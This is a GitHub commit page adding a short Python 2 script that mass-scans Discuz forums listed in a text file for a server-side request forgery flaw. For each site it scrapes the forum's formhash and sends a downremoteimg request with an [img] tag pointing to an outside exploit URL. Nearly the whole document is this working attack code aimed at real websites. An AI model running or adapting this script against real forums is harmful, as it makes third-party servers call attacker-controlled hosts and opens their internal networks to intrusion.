Skip to content

Commit

Permalink
Create discuz_forum_downremoteimg_ssrf.py
Browse files Browse the repository at this point in the history
  • Loading branch information
0c0c0f authored Feb 25, 2017
1 parent 495a2b0 commit 854ca22
Showing 1 changed file with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions info/discuz_forum_downremoteimg_ssrf.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
#!/usr/bin/env python
# encoding: utf-8
import urlparse
import random
import time
import re
import requests
#from utils.fileutils import FileUtils
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()

fobj = open('discuz.txt','r')
for website in fobj:
request = requests.session()
try:
forumurl = "{website}/forum.php".format(website=website)
response = request.get(forumurl, timeout=5, verify=False)
formhash = re.findall(r'formhash" value="(.*?)"',response.content)
netloc = urlparse.urlparse(website).netloc
payload = 'http://www.catssec.com/exp/exploit.php'.format(netloc=netloc)
url = "{website}/forum.php?mod=ajax&action=downremoteimg&formhash={formhash}&message=[img]{payload}[/img]".format(
website=website,
payload=payload)
response = request.get(url, timeout=5, verify=False)
#print url, len(response.content)
except Exception, e:
print website, e

0 comments on commit 854ca22

Please sign in to comment.